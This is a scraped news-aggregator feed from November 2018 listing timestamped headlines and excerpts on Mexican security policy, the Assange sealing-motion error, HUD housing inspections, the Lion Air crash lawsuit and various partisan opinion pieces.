Lopez Obrador noted there has been decomposition at all levels of civilian police. Alfonso Durazo, the pick as security minister for the new administration taking office Dec. 1, said it would be disastrous to relieve the military of its public safety role.

But Lopez Obrador also promised to redirect resources to addressing the root causes of Mexicos violence. He said that 80 percent of his plan would be aimed at those social problems.

A thousand and one times weve repeated in the countrys public plazas that you cant confront violence with violence, he said. You have to deal with the causes of the violence.

Social programs would focus on economic development and strengthening the values of Mexicos youth.

In spite of the hundreds of thousands of lives lost, the billions of dollars invested, the military resources consumed, the intelligence and surveillance spent in the war on drugs, the Mexican government has not been able to defeat the cartels, Durazo said.

Durazo said that in addition to combating corruption that permits impunity for organized crime, the new administration will embark on reforms that could offer sentence reductions and even limited amnesty in some cases for those involved in nonviolent crimes. The administration is also studying legalizing and regulating some drugs, he said.

Last week, Lopez Obradors Morena party submitted legislation that would legalize marijuana possession, public use, growing and sales.

The regulation of some narcotics currently banned would put to an end one of the central motors of the violence, insecurity and extended deterioration of the rule of law, said Durazo, who has also expressed support for legalizing production of opium for medical purposes.

There were 31,174 homicides in 2017 in Mexico, according to the countrys national statistics institute. That was the most since at least 1997, when comparable records began being kept....

17:27

Here We Go Again: Genetically Engineered Banana Narrative Pushed by GMO Lobby "IndyWatch Feed Allworld"

Here We Go Again: Genetically Engineered Banana Narrative Pushed by GMO Lobby The banana is dying and only GM can save it is a recurring crisis narrative of the GMO lobby but the real answers to the problem of disease in bananas go unmentioned. By CLAIRE ROBINSON GMWatch.org Groundhog Day was a 1993 American comedy []

The post Here We Go Again: Genetically Engineered Banana Narrative Pushed by GMO Lobby appeared first on STOPGETREES.ORG.

17:26

The Donbass Dilemma "IndyWatch Feed Allworld"

By Christopher Black New Eastern Outlook 16.11.2018 The November 11th elections of the leaders of the Donetsk and Lugansk Peoples Republics along with the members of their Peoples Councils has again underlined the dilemma facing Ukraine, its NATO masters, and Russia for, as Tass reported, the result makes it very clear that there []

17:24

EXCLUSIVE: Turkey to use intercepted Saudi comms to demolish Khashoggi cover-up "IndyWatch Feed Allworld"

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Turkey is in possession of reams of phone calls in and out of the Saudi consulate, MEE learns, and will release their contents piece by piece

17:23

Pompeo Reveals Trump-Era Confusion on Iran "IndyWatch Feed Allworld"

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The foreign policy strategies of the previous two US administrations were very straight forward. George W. Bush favored spreading democracy through regime change. Barack Obama had come to office amid frustration with these hawkish neoconservative policies, and instead favored soft-power and manufactured revolutions coordinated with NATO allies.

But what is the foreign policy of the Trump administration? No straight forward answer can be given, even after a sloppy attempt to define the Trump Doctrine regarding Iran in an essay from Secretary of State Mike Pompeo. In the publication Foreign Affairs, printed by the Council on Foreign Relations, Pompeo attempted to explain the actions and objectives of the United States in regards to the Islamic Republic. The article was confused, inaccurate, and much like the Trump administration itself, seemed to be trying to please many different people at the same time.

Hypocrites or Fanatics? They Cannot Be Both

In attempting to explain the Iranian Threat, Pompeo proclaims: And today, no regime has more of an outlaw character than that of Iran. That has been the case since 1979, when a relatively small cadre of Islamic revolutionaries seized power Those who are familiar with the history of the Islamic Republic know very well that the outpourings of people who brought down the brutal, US backed Pahlavi regime and created the Islamic Republic, were anything but small. The millions of people who took to the streets, some of them actually wearing burial shrouds as they marched because they expected to be gunned down, were quite massive. The crowds that greeted Imam Khomeni at the airport when he returned from exile were equally large.

For almost four decades the Islamic Republic has effectively withstood a lengthy war with Iraq, as well as continued efforts by Sunni, Arab, and Kurdish separatists, among other hostile elements, to break it apart. The Islamic Republic draws its support from local Basij organizations, which enforce the goals of the revolution on a local level. Iran is organized, block by block, neighborhood by neighborhood, city by city, and region by region. To characterize the mass movement that gives strength to the Islamic Republic as a small cadre is either intentionally deceptive propaganda, or simply ignorance.

Following his initial mischaracterizations, Pompeos attempts to....

17:22

A Day in the World of the LSAF "IndyWatch Feed Allworld"

Thought experiments can be really useful tools to better understand the implications of abstract ideasespecially ideas that are accepted at face value as self-evident truths. In some cases, they resemble proofs by contradiction in that they allow us to see that, if said ideas were true, they would end up clashing with other ideas accepted as non-negotiable principles. What were going to try today is something like that.

Crossing into another dimension

Every long-standing rejuvenation advocate has had to put up with people claiming that aging is a good thing on the questionable grounds that it may help to prevent overpopulation, cultural stagnation, the rise of immortal dictators, getting bored of far too long lives, and so on. (I was even told by a friend of minea truly stalwart advocate whos anything but afraid of bringing the topic up whenever he gets the chancethat a man once briskly dismissed rejuvenation nonchalantly by saying, Come on, a little bit of death is all right. Its hard not to wonder if hed think the same if the people close to him were dying.)

17:21

Breaking: Judge Orders White House To Return Press Pass To CNNs Jim Acosta "IndyWatch Feed Allworld"

Crazy. And just to be clear, its just a TRO not a decision on the merits or a First Amendment determination. Via Fox News: A federal judge ruled in favor of CNN on Friday, allowing the networks star reporter Jim Acosta to temporarily regain access to his White House press credential. I will grant the []

17:21

Karl Roves Crossroads GPS is dead, long live his multi-million dollar dark money operation "IndyWatch Feed Allworld"

Karl Rove of Crossroads GPS

Karl Rove (AP Photo/Rich Pedroncelli, File)

One Nation, a conservative 501(c)(4) dark money nonprofit masterminded by Karl Rove, raised nearly $17 million last year, according to the most recent IRS tax filings released Friday.

Meanwhile, Crossroads GPS formerly a dominant group in conservative circles and also run by Rove raised just $75,000 last year, all but confirming its demise less than a year after the IRS granted it tax-exempt status.

The two dark money groups along with the conservative American Crossroads and Senate Leadership Fund (SLF) share the same Washington, D.C. office and employees. Each organization is run by Steven Law, a former chief of staff to Senate Majority Leader Mitch McConnell, who remains closely aligned with the groups.

One Nation does not reveal its donors, but it reported receiving four contributions north of $1 million, the biggest being an individual $7.9 million contribution.

The dark money group handed out only one grant last year a $500,000 grant to the National Rifle Association for social welfare purposes.

It spent nearly $6.5 million by the end of the year, including $3.1 million on media services. One Nation spent $1.7 million with Main Street Media Group, which has long been associated with One Nation and SLF. Politically active 501(c)(4) nonprofits are supposed to exist for the purpose of promoting social welfare and not allowed to have politics as their primary purpose but the IRS has not established any bright line rules governing how much politicking is too much, a vagueness even Crossroads GPS has lamented.

One Nation paid a total of 10 independent contractors more than six figures in 2017. Some of its other large payments to contractors include six figures for legal services to a high-powered law firm that helped the group win the battle...

17:20

Media watch Saturday "IndyWatch Feed Allworld"

17 November 2018 Media Watch is a focus on New Zealand media, blogs and social media. You can post any items of interested related to media. A primary aim here is to hold media to account in the political arena. A credible and questioning media is an essential part of a healthy democracy. A general []

17:18

Mesa 18.3-RC3 Released With RADV Fixes, Drops Zen L3 Thread Pinning "IndyWatch Feed Allworld"

Mesa release manager Emil Velikov has announced the latest weekly release candidate of the upcoming Mesa 18.3...

17:18

In Filing Begging For Sealed Charges Copy/Paste Mishap Confirms Assange As Target Of US Prosecutors "IndyWatch Feed Allworld"

In a petition to the US District Court for Eastern Virginia, US Attorney G. Zachary Terwilliger and Assistant US Attorney Kellen S. Dwyer argue for issuing sealed charges in a case titled "United States of America v. SEITU SULAYMAN KOKAYI" with SEITU SULAYMAN KOKAYI presumably being a pseudonym for the defendant who may not be named. Except further down in the document a failure in redaction yields gold:

Another procedure short of sealing will not adequately protect the needs of law enforcement at this time because, due to the sophistication of the defendant and the publicity surrounding the case, no other procedure is likely to keep confidential the fact that Assange has been charged.

And a bit further down:

The complaint, supporting affidavit, and arrest warrant, as well as this motion and the proposed order, would need to remain sealed until Assange is arrested in connection with the charges in the criminal complaint and can therefore no longer evade or avoid arrest and extradition in this matter.

And so any order to seal the charges being leveled at Julian Assange is moot. If there are not already sealed charges against Assange in different pseudonymously obscured case, it can be assumed there will be in another regardless of the determination in this one. Full text below:

IN THE UNITED STATES DISTRICT COURT FOR THE
EASTERN DISTRICT OF VIRGINIA
Alexandria Division 1 ^ ' j : 2 ^Uli
UNITED STATES OF AMERICA '
'V, v .,
SEITU SULAYMAN KOKAYI
Defendant.
Case No. l:18-mj-406
GOVERNMENT'S MOTION TO SEAL CRIMINAL COMPLAINT
AND SUPPORTING DOCUMENTS PURSUANT TO LOCAL RULE 49(BI
The United States, by and through undersigned counsel, pursuant to Local Rule 49(B) of
the Local Criminal Rules for the United States District Court for the Eastern District of Virginia,
respectfully asks for an Order to Seal the criminal complaint, the supporting affidavit, and the
arrest warrant in this matter, as well as this Motion to Seal and proposed Order, until further
order of the Court.
1. REASONS FOR SEALING (Local Rule 49(B)(1))
1. As further described in the affidavit in support of the criminal complaint, the
government is seeking a criminal complaint charging SEITU SULAYMAN KOKAYI with
coercion and enticement of a minor in violation of Title 18, United States Code, Section 2242(b).
2. Premature disclosure the specific details of this ongoing investigation would
...

17:16

Ooops - Greenpeace admits to shipbreaking mistake "IndyWatch Feed Allworld"

Greenpeace admits to allowing the scrapping of a ship in Bangladesh, in a way that doesn't live up to environmental standards.

17:15

SEAL Team 6 Members and Special Forces Marines Charged With Green Beret Murder and Cover-Up "IndyWatch Feed Allworld"

The Navy has formally accused a member of SEAL Team 6 with choking a Green Beret to death last year, and then using his field medic skills to cut open the victims throat in an effort to fake a lifesaving technique and cover up the murder.

The gruesome details of the alleged murder of Army Staff Sgt. Logan Melgar, of the 3rd Special Forces Group, while serving in the West African nation of Mali in June 2017, were released yesterday by the Navy as part of charges against two members of SEAL Team 6 and two special forces Marines. The charges were first reported by the Daily Beast.

The four accused special operators and Melgar were serving together on a counterterrorism task force based at the U.S. Embassy in the Malian capital of Bamako. The unit provided intelligence and training for Malian military forces in their battle against Islamic insurgents affiliated with Al Qaeda.

Melgars death in the early-morning hours of June 4, 2017 led to a significant rift inside the militarys special operations community, which viewed the alleged murder and attempted cover-up as a sign of how lawless the elite SEAL Team 6 has grown, according to several current and former members of the community.

The documents released by the military portray a premeditated assault that turned deadly, followed by a multistep, monthslong cover-up by the accused SEALs and Marines.

Although all four of the elite operators were charged with murder, involuntary manslaughter, conspiracy, obstruction of justice, and burglary yesterday, the documents paint the Navy SEAL who allegedly choked Melgar to death as the most sinister player. The Navy has not released the names of the servicemen, but The Intercept and other media outlets have previously identified the man who allegedly strangled Melgar as Petty Officer Anthony DeDolph, and the other SEAL as Chief Petty Officer Adam Matthews. DeDolph faces the most charges.

DeDolph, a trained medic, allegedly conducted a tracheotomy on Melgar a medical procedure intended to open the throat and insert a tube to allow for air passage in order to hide evidence of the injuries inflicted on Melgars throat. A crushed throat was later determined by a medical examiner to be his cause of death, according to two people who reviewed Melgars autopsy.

The charges say the four servicemen broke into Melgars room while he was sleeping and bound him with duct-tape. According to sources familiar with the investigation, DeDolph then strangled Melgar with....

17:15

How Nancy Pelosi Plans To Get President Trump Through His Tax Returns "IndyWatch Feed Allworld"

How Nancy Pelosi Plans To Get President Trump Through His Tax Returns by: Off The Grid News U.S. Representative Nancy Pelosi (D-California) plans to get President Donald J. Trump (R-New York) by making his tax returns public. In fact, requesting Trumps...

The post How Nancy Pelosi Plans To Get President Trump Through His Tax Returns appeared first on The Daily Coin.

17:15

Britains Second Lord Chamberlain: PM Theresa May? "IndyWatch Feed Allworld"

Op-Ed by Catherine J. Frompovich For those who dont know history, nor take the time to read it in these days of time bite size...

17:13

Lion Air crash victims family sues Boeing "IndyWatch Feed Allworld"

On Thursday, a complaint was filed by a Florida-based law firm on behalf of the parents of Rio Nanda Pratama, who was on board the ill-fated flight JT 610.

The lawsuit focuses on the 737 Maxs new automated flight control system, which it says was designed to help prevent pilots from raising the aircrafts nose dangerously high.

However, the lawsuit adds: Under certain conditions [the system] can push the nose down unexpectedly and so strongly that the pilot cannot pull it back up in time to avoid a crash.

This automated feature can be triggered even if pilots are manually flying the aircraft and dont expect flight-control computers to kick in.

It is particularly surprising to hear from safety experts and the heads of pilots unions that Boeing failed to warn its customers and the pilots of its new 737 Max aircraft about this significant change in the flight-control systems.

Boeing, meanwhile, has said that it is not able to discuss specifics of an ongoing investigation.

A family of one of the victims of Lion Air flight JT 610 throws flowers on deck of the Indonesian Navy ship, 6 November 2018Image captionThe relatives of victims devastated by the loss of loved ones have demanded answers

Mr Pratama was a passenger on flight JT 610 travelling home to marry his fiance, Intan Syari.

Ms Syari, who said she wanted to fulfil his last wish, appeared alone wearing her white gown and wedding ring in photos posted to her Instagram account earlier this week.

What went wrong with the flight?

There is as yet no indication of what caused the crash but the plane had experienced technical problems related to airspeed and altitude readings.

Indonesias National Transportation Safety Committee said an angle-of-attack sensor had been changed the day before the crash.

One of the black box recorders from the flight has been retrieved but authorities say it could take months to analyse the data from it.

The plane was making a one-hour journey to the western city of Pangkal Pinang when it went down. No survivors were found.

Map of crash

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17:13

MSU News: Study focuses on health effects of stress on Blackfeet Nation "IndyWatch Feed Allworld"

A study that looks at the health effects of stress has been published in the Tribal College Journal of American Indian Higher Education.

17:13

General chat "IndyWatch Feed Allworld"

Is there any way we could have a thread for the more lightweight stuff like music and general chat? Do it here. Please no personal attacks or bickering. Anything abusive, provocative or inflammatory may be deleted.

17:12

Give Italys Government a Chance "IndyWatch Feed Allworld"

Given the poor track record of populist economic policies, it is understandable that the European Commission's first instinct is to take a hard line against the Italian government's proposed 2019 budget. But in doing so, it is condemning Italy to continued economic stagnation, and risking a much larger political crisis.

17:11

Aruba cruise ship murder probe after woman choked and thrown from top deck "IndyWatch Feed Allworld"

Police in Aruba are investigating the death of a woman who was reportedly choked and thrown from the top deck of a Caribbean cruise ship.

The 52-year-old is thought to have crashed onto a life boat and severed her leg in the horrific incident on board the Royal Princess.

The womans partner, described as a muscular American man was escorted from the ship by police on Tuesday.

The couple were aboard the cruise liner, which had left from Fort Lauderdale, Florida, on November 9, bound for Aruba.

According to reports in Aruba, a man was seen choking the victim before she was thrown from the 16th deck of the vessel.

Horrified passengers described the gruesome scene with glass everywhere when the woman hit the lifeboat below.

The womans partner was removed from the ship after police met the vessel in Aruba (Image: BFTO/ Police)

Worlds largest cruise ship makes quite the entrance arriving at new home port

A spokeswoman for Aruban prosecutors confirmed that the man taken off the boat was the womans partner and that the womans death is being treated as unnatural.

Aruba-based MasNoticia.com says authorities are investigating it as a possible murder case.

It remains unclear whether the woman died from injuries suffered in the fall or from being choked.

The name of the victim and the man taken off the boat have not been released. No arrests have been made yet.

A source aboard the ship told DailyMail.com: We are sailing the southern Caribbean. Its the ship that ITV used for their show The Cruise.

It was two passengers, they had a row in the casino that night.

Another passenger said: Ten police officers came aboard. The announcement was a criminal investigation was to be conducted before we are given clearance.

They added: Two couples were asked repeatedly to go to customer relations.

...

17:10

#BelieveAllWomen fail: Selfie saves man from 99 year prison sentence after his ex-girlfriend falsely accuses him of assault "IndyWatch Feed Allworld"

The maniacal obsession with taking selfies is often derided, but on this occasion a single random snap turned out to be a life-saver for a man who faced spending the rest of his life in jail for a crime never committed. It all unraveled when Texan Cristopher "CJ" Precopia, 21, was accused by his high school ex-girlfriend of breaking into her home in Bell County, assaulting her, carving an "X" onto her chest and cutting her face, ABC reports. In a handwritten statement to police obtained by the outlet's Austin affiliate KVUE, the woman wrote, "I could hear the slices being made and it stung a lot." His lawyer, Rick Flores, said Precopia was taken aback when officers from the Temple County Police Department showed up with an arrest warrant in September 2017. When his client asked them on what grounds they were taking him into custody, the officers responded "something along the lines of, 'Don't act like you don't know what we're talking about," Flores said.

17:02

Democrats Attack President Trump For Saying Exactly What Democrats Did About Californias Fires "IndyWatch Feed Allworld"

A Democrat-led California oversight agency released a report earlier this year on wildfire destruction that mirrored President Trumps sentiments. Yet he's taking heat for being 'partisan.'

17:02

A dark matter hurricane that we cant see or hear is blasting past Earth, and its one of the universes biggest conundrums "IndyWatch Feed Allworld"

If astronomers calculations are correct, the Solar System is right in the middle of a turbulent space event.


The mysterious hurricane of dark matter leaves astronomers puzzled, but the remnants of dwarf galaxies could help prove this phenomenons existence.

17:02

Open Forum Saturday "IndyWatch Feed Allworld"

17 November 2018 This post is open to anyone to comment on any topic that isnt spam, illegal or offensive. All Your NZ posts are open but this one is for you to raise topics that interest you.  If providing opinions on or summaries of other information also provide a link to that information. Bloggers []

17:00

Celine Dion launches gender-neutral childrens clothing line to encourage dialogue of equality "IndyWatch Feed Allworld"

So women are supposed to be proud of their gender yet teach their children to be gender neutral? Pick a side proggies and try to be consistent with your messaging. From People Magazine: Cline Dion is passing on her love Continue reading

The post Celine Dion launches gender-neutral childrens clothing line to encourage dialogue of equality appeared first on Fellowship Of The Minds.

17:00

Why Cant Venezuela Get Its Gold Back? (Video) "IndyWatch Feed Allworld"

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The post Why Cant Venezuela Get Its Gold Back? (Video) appeared first on The Daily Coin.

17:00

Hamas TV airs Death to Israel music video, station is destroyed a half hour later "IndyWatch Feed Allworld"

Things didnt work out quite the way Hamas planned, but justice was done. Death to Israel song on Hamas TV half-hour before station destroyed, by Itamar Marcus and Nan Jacques Zilberdik, Palestinian Media Watch, November 14, 2018: About a half hour before Hamas TV station in the Gaza Strip was bombed by Israel, the station []

17:00

Pretty Much a Failure: HUD Inspections Pass Dangerous Apartments Filled With Rats, Roaches and Toxic Mold "IndyWatch Feed Allworld"

In the winter of 2017, a toddler was rushed to the emergency room after swallowing rodent poison inside her familys unit at the federally subsidized Clay Arsenal Renaissance Apartments in Hartford, Connecticut. Her mother had placed sticky traps throughout the house after another one of her children was bitten on the arm by a mouse, according to a local housing advocate who worked with the family.

This August, Missouri Attorney General Josh Hawley sued the St. Louis Housing Authority and the private management company it hired to run the Clinton-Peabody Housing Complex, saying they both violated the states consumer protection laws by advertising that the development was habitable even though it was plagued by a pest infestation, black mold and water damage.

That same month, residents of Texas Coppertree Village Apartments in Houston filed suit against the U.S. Department of Housing and Urban Development, saying the federal government had failed to hold their landlord accountable for deplorable conditions and criminal activity at the federally subsidized complex, including rapes, aggravated assaults and robberies.

In all three cases, despite well-known, long-standing problems, the properties had passed their most-recent inspections mandated by HUD.

Apartment complexes subsidized by HUD collectively house more than 2 million low-income families around the country. Some are run by public housing authorities and others are owned by private for-profit or nonprofit landlords. By law, the owners of such complexes must pass inspections demonstrating they are decent, safe and sanitary in exchange for millions of dollars in federal money each year.

But as thousands of renters across the country have discovered, passing scores on HUD inspections often dont match the reality of renters living conditions. The two-decade-old inspection system the federal housing agencys primary oversight tool is failing low-income families, seniors and people with disabilities and undermining the agencys oversight of billions of dollars in taxpayer-funded rental subsidies, an investigation by The Southern Illinoisan and ProPublica has found.

HUD has given passing inspection grades for years to dangerous buildings filled with rats and roaches, toxic mold and peeling lead-based paint, which can cause lifelong learning delays when ingested by young chil...

16:59

DOJ Inadvertently Confirms Sealed Indictment Awaits Julian Assange if Extradited to the US "IndyWatch Feed Allworld"

WASHINGTON A U.S. prosecutor has inadvertently revealed that Julian Assange, the founder and former editor-in-chief of WikiLeaks, has been secretly charged by the U.S. government, confirming long-held suspicions that the U.S. has had criminal charges waiting for Assange should he be extradited to the United States.

The revelation comes just hours after a report in the Wall Street Journal revealed that the U.S. Department of Justice is preparing to indict Assange in such a way that it would trigger his extradition to the United States to stand trial, following sensitive negotiations with foreign governments, most likely the governments of the United Kingdom and Ecuador.

Assange, a citizen of Australia and Ecuador, is currently living in Ecuadors embassy in London as a political asylee. He has remained in the embassy for over six years in order to protect himself from extradition to the United States. However, the current Ecuadorian government led by Lenn Moreno has been eager to restore close ties to the United States and has had a tense relationship with Assange, which analysts have warned could threaten the journalists asylum.

A report published last night in The Washington Post detailed how the fact that the U.S. government has sealed charges awaiting Assange in the United States was inadvertently revealed by a copy-paste error made by assistant U.S. Attorney Kellen Dwyer.

In ......

16:59

Agnieszka Radwanska Wimbledon finalist retires from tennis aged 29 "IndyWatch Feed Allworld"

Polish born 

Wimbledon finalist Agnieszka Radwanska has announced her retirement from tennis at the age of 29.

The former world number two was runner-up to Serena Williams in 2012 and won 20 WTA titles in her 13-year career.

She finished every season between 2008 and 2016 ranked inside the worlds top 15, but is currently ranked 75th and has not won a title since October 2016.

Radwanska said the decision to retire was one of the most important of her life and was not easy.

Unfortunately I am no longer able to train and play the way I used to, and recently my body cant live up to my expectations, she added.

Taking into consideration my health and the heavy burdens of professional tennis, I have to concede that Im not able to push my body to the limits required.

16:59

HUD Inspect "IndyWatch Feed Allworld"

16:58

Congress Votes To Block Yemen Debate, US Blames Assad For ISIS & $5.9 Trillion On War Since 2001 "IndyWatch Feed Allworld"

Welcome to The Daily Wrap Up, a concise show dedicated to bringing you the most relevant independent news, as we see it, from the last 24 hours (11/15/18). As always, take the information discussed in the video below and research it for yourself, and come to your own conclusions. Anyone telling you what the truth []

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16:58

Rick Scott: Voters Elected Me Their Next Senator, Ballots Have Been Counted Twice "IndyWatch Feed Allworld"

Florida Gov. Rick Scott (R.) responded to the ongoing election problems in Florida on Thursday night, tweeting that Florida voters elected him and the votes had been counted twice.

Last week, Florida voters elected me as their next U.S. Senator and now the ballots have been counted twice. I am incredibly proud and humbled by the opportunity to serve Florida in Washington. Our state needs to move forward, Scott tweeted.

Rick Scott

@ScottforFlorida

US Senate candidate, FL
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16:58

How HUDs Inspection System Fails Low-Income Tenants Nationwide "IndyWatch Feed Allworld"

This year, The Southern Illinoisan and ProPublica have reviewed the U.S. Department of Housing and Urban Developments system of inspecting publicly subsidized housing complexes by analyzing thousands of inspection scores and requesting the detailed backup reports from numerous inspections.

Among the findings:

  • Dangerous buildings that presented immediate health and safety concerns often passed HUD inspections. An August 2017 inspection of a public housing project in Richmond, Virginia, for instance, estimated 820 health and safety violations, but the property passed anyway. The year prior, an inspection report estimated over 1,000 violations in a public housing project in New York City. It also passed.

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  • Public housing complexes, owned by government housing authorities, sometimes fail over and over, with few consequences. About 260 public housing complexes have failed at least twice in the past five years. And those projects were far more likely to house African-American children and families than other properties. In a recent audit, HUDs inspector general criticized the agencys lack of a clear policy concerning how and when it should respond to unsafe public housing.

  • Some properties scores have whipsawed bet...

16:57

Russian crime boss dines on caviar and crab while in prison and the Kremlin is outraged "IndyWatch Feed Allworld"

Revelations that a brutal Russian gang lord, convicted of organizing murders and extortion, turned his prison cell into a hotel room with cellphone, delicacies and parties, are "outrageous," the presidential press-secretary said. The photos of Vyacheslav Tsepovyaz, nicknamed 'Zlodey' (the Villain), munching on crab meat, caviar and kebabs, while serving his almost 20-year prison term, have caused a vast public outcry after surfacing online earlier in November. The criminal also held parties with other inmates and used a mobile phone with internet access, which is strictly forbidden for prisoners. As one of the bosses of the infamous Tsapok gang, Tsepovyaz was jailed in 2013 for his part in organizing a massacre in Kushchevskaya, southern Russia. In the 2010 incident, a farmer and his guests, 12 people including 4 children, were slaughtered. "It's an outrageous, disgusting situation," Dmitry Peskov, the president's press secretary said.

16:54

Russia Accused of Disrupting NATO Drills: Just Another Unfounded Allegation "IndyWatch Feed Allworld"

By Andrei AKULOV | Strategic Culture Foundation | 16.11.2018 Finnish Prime Minister (PM) Juha Sipila has accused Russia of interfering with the Global Positioning System (GPS) in Finlands Lapland region during the Trident Juncture-2018 NATO exercise. NATO fighter jets and surveillance aircraft landed and took off from the airport in Rovaniemi during that training event. In his []

16:52

Security updates for Friday "IndyWatch Feed Allworld"

Security updates have been issued by Fedora (lldpad, pdns, and php), Mageia (flash-player-plugin, gdal, mutt, patch, php-pear-CAS, postgresql9.4|6, ruby-rack, and teeworlds), SUSE (kernel-rt, postgresql10, and squid), and Ubuntu (openjdk-7).

16:51

LISTEN: Jeff Conant of Friends of the Earth on Greenwashing of Palm Oil Industry "IndyWatch Feed Allworld"

This weeks Earth Watch guest is Jeff Conant of Friends of the Earth (FOA). Conant and Sojourner Truth host Margaret Prescod discuss the greenwashing of the palm oil industry. Friends of the Earth and World Rainforest Movement co-authored... Read More

16:51

BREAKING: Judge Orders White House to Restore Jim Acostas WH Hard Press Pass A Win for the Media Mob (Video) "IndyWatch Feed Allworld"

Disgraceful.
A federal judge ruled on Friday that the Trump White House must restore jackass Jim Acostas hard press pass.

This is unbelievable.

In any other business this jackass would be fired at CNN he is defended in court.

CNBC reported:

A federal judge on Friday granted CNNs request for a court order that would temporarily reinstate network correspondent Jim Acostas White House press pass, which had been suspended indefinitely in the wake of a fiery exchange between the reporter and President Donald Trump a week earlier.

The ruling from Judge Timothy Kelly, who was appointed by Trump, was the first victory for CNN in the ongoing case.

I want to thank all of my colleagues in the press who supported us this week, and I want to thank the judge for the decision he made today, Acosta said outside U.S. District Court in Washington, D.C.

Lets go back to work! he added.

Acosta spoke with reporters after the ruling.

The post...

16:51

Tech companies, retailers weigh on US stocks; Oil prices up "IndyWatch Feed Allworld"

U.S. stock indexes were mostly lower in early trading Friday, erasing some of the markets gains from a day earlier. Losses in technology companies, big retailers and banks outweighed gains in health care and energy stocks. Crude oil prices headed higher for the third day in a row.

KEEPING SCORE: The S&P 500 index fell 1 point to 2,729 as of 10:15 a.m. Eastern Time. The Dow Jones Industrial Average gained 31 points, or 0.1 percent, to 25,320. The Nasdaq composite lost 23 points, or 0.3 percent, to 7,235. The Russell 2000 index of smaller companies gave up 2 points, or 0.2 percent, to 1,521.

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CRYPTO FALLOUT: Shares in technology stocks skidded, led by Nvidia. The chipmaker plunged 17.7 percent to $166.71 after saying it had a large number of unsold chips because of a big drop in mining of cryptocurrencies.

SHIELDED? Troubled California power provider PG&E surged 38.2 percent to $24.52 after the president of the utilitys state regulator said it was essential for a power company to have the financial strength to operate safely. The remark late Thursday by California Public Utilities Commission President Michael Picker appeared to reassure investors that regulators might limit the potential financial hit that PG&E faces from the devastating wildfire in Northern California, which started Nov. 8 and has killed at least 56 people.

RETAIL RATTLED: Nordstrom slid 11.9 percent to $51.98 after the department store issued weak guidance for the full year. That disappointing outlook overshadowed the companys third-quarter results, which topped Wall Streets estimates.

FEELING GOOD: Health care stocks were among the biggest gainers. Bristol-Myers Squibb gained 1.9 percent to $54.29.

ENERGY: Oil prices headed higher, adding to gains from a two-day winning streak. Benchmark U.S. crude oil rose 1.8 percent to $57.48 a barrel in New York. Brent crude, used to price international oils, gained 2.1 percent to $67.99 a barrel in London. Despite the latest uptick, U.S. crude oil is still down about 12 percent for the month.

The pickup in oil p......

16:50

Biometrics companies want to offer incentives to lure consumers into using with facial recognition "IndyWatch Feed Allworld"

Operating on the gradual model of Google and Facebook, biometrics companies are plotting a slow rollout of facial recognition technology, barbed with incentives to hook customers and distract them from the demise of privacy. Arenas, airports and stores are already adopting facial recognition software to identify criminals, from shoplifters to potential terrorists - so marketing is the natural next step, according to Arturo Falck, CEO of Whoo.ai and one of several biometrics execs interviewed by trade publication Biometric Update. Once companies are using this type of technology for crime prevention purposes, there's no reason why they should not be using it for upselling their customers. And what if those customers don't want to be upsold? A Brookings Institute survey last month indicated half of Americans still oppose facial recognition for theft prevention purposes, let alone marketing, indicating Whoo.ai has an uphill battle ahead. Along those lines, 50 percent think there...

16:50

China A New Philosophy of Economics "IndyWatch Feed Allworld"

China A New Philosophy of Economics Author: Peter Koenig  Journal-NEO Chinas economic philosophy is a far cry from that of the west. The west consistently seeks to undermine the interests of their partners, be it for trade or political agreements;...

The post China A New Philosophy of Economics appeared first on The Daily Coin.

16:49

Avigdor Lieberman wants to give war a chance "IndyWatch Feed Allworld"

On Wednesday, Israeli Defense Minister Avigdor Lieberman resigned. He was upset about what he perceived as Prime Minister Benjamin Netanyahu being too soft on Hamas . First because the PM agreed to provide some cash and fuel to Gaza, and then, after a couple of days of bombing in Gaza, the PM accepted a ceasefire.

Israeli Defense Ministers normally get a turn at conducting large-scale massacres in Gaza killing lots of Arabs as Education Minister Bennett would say, killing those little snakes, as Justice Minister Ayelet Shaked would say. Even left hero Ehud Barak had a go at Gaza twice when he was Defense minister between 2007 and 2013. And of course the moderate Likudnik Moshe Yaalon got his massacre as Defense Minister in 2014, which was 1-1/2 times the size of Baraks.

So Avigdor Lieberman, who is more rhetorically bellicose than Barak or Yaalon, was denied his. And just when time seemed ripe for another mowing of the lawn in Gaza, as they say in Israel.

 

Gearing up towards another massacre

Everything seemed geared up for another large-scale massacre. The Israeli commando invasion of Gaza territory on Sunday (territory which Israel claims it doesnt occupy but which basically the rest of the world knows it does), in which seven Palestinian militants (including a senior commander) as well as a senior Israeli commander were killed, was a perfect pretext for another major Israeli seasonal onslaught. The commando operation came at a time of extraordinary lull: Netanyahu had just permitted cash and fuel to flow into Gaza, to alleviate some unbearable tensions, and he was in Paris saying that We want to prevent a humanitarian collapse in Gaza, and thats what were doing. He assured the world he was doing everything [he] can to prevent an unnecessary war.

And then that Israeli operation. On the face of it, irrational, right? But actually, it follows a pattern. As Noam Chomsky observed in the wake of the 2014 onslaught:

Since November 2005 the terms of these agreements have remained essentially the same. The regular pattern is for Israel to disregard whatever agreement is in place, while Hamas observes it as Israel has conceded until a sharp increase in Israeli violence elicits a Hamas response, followed by even fiercer brutality.

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16:49

Exit From The Matrix: Having big goals, big dreams "IndyWatch Feed Allworld"

by Jon Rappoport

November 16, 2018

In my collection Exit From The Matrix, the importance of big goals and big dreams comes to the foreground. This is the main event. This is where electricity occurs. This is where old habits are swept off the board and new plans take their place. This is where previously unseen energies emerge and a person feels a new deep sensation: power.

Focusing on achieving a goal you dont really care about is deadening, to say the least.

Every individual is built for achieving big personal dreams/desires. This is where magic can happen, in the form, for example, of synchronous events that spontaneously come together and fortify each other.

In working with clients, Ive learned the importance of doing whats necessary at the right time. Sometimes its all about unearthing those big desires and dreams; and then there are periods when the strategy of how to bring a dream to fruition is paramount.

In the end, what transforms a life is pursuing, with great intensity, a major dream. Then, EVERYTHING moves up on to another level of experience. Then, a person knows what it means to be alive.

Am I talking about imagination? Absolutely. This is where it starts. This is where the new path originates. This is the dream and the vision. In my collection, Exit From The Matrix, I include a large set of unique imagination exercises that are designed to liberate that far-reaching quality of the individual. Does the quality have a limit? No. It isnt a machine or a robot or a computer. It isnt programmed. And thats the whole point. The limitless nature of imagination wakes up the individual. He wakes up to infinity.

Here are the full contents of my mega-collection Exit From The Matrix. You can order it here:


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16:47

Corporate Media Ignore Their Role in Trumps Refugee Invasion Panic "IndyWatch Feed Allworld"

